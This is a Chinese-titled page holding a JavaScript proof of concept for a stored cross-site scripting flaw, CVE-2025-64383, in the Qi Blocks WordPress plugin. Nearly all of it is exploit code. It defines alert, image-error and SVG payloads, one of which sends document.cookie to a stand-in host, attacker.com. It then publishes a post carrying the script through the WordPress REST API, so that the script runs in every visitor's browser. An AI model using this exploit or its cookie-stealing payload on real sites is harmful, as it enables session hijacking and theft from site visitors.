CVE-2025-64383 Qi Blocks插件存储型XSS漏洞

// CVE-2025-64383 Stored XSS PoC for Qi Blocks Plugin // This PoC demonstrates how to inject malicious JavaScript through Qi Blocks modules // Step 1: Identify vulnerable Qi Blocks module input field // The vulnerability exists in various Qi Blocks module content fields // Step 2: Inject XSS payload in module content const xssPayload = '<script>alert(document.cookie)</script>'; const imgPayload = '<img src=x onerror=alert(document.domain)>'; const svgPayload = '<svg/onload=fetch("https://attacker.com/steal?c="+document.cookie)>'; // Step 3: Example WordPress REST API request to create/edit post with XSS const createPostPayload = { title: 'Test Post with XSS', content: '<!-- wp:qi-blocks/module-block -->\n<div class="qi-blocks-module">\n' + xssPayload + '\n</div>\n<!-- /wp:qi-blocks/module-block -->', status: 'publish' }; // Step 4: Send the malicious request (requires contributor+ role) fetch('/wp-json/wp/v2/posts', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-WP-Nonce': wpNonce // WordPress nonce required }, body: JSON.stringify(createPostPayload) }); // Step 5: When any user visits the published page, the XSS will execute console.log('XSS payload stored in Qi Blocks module');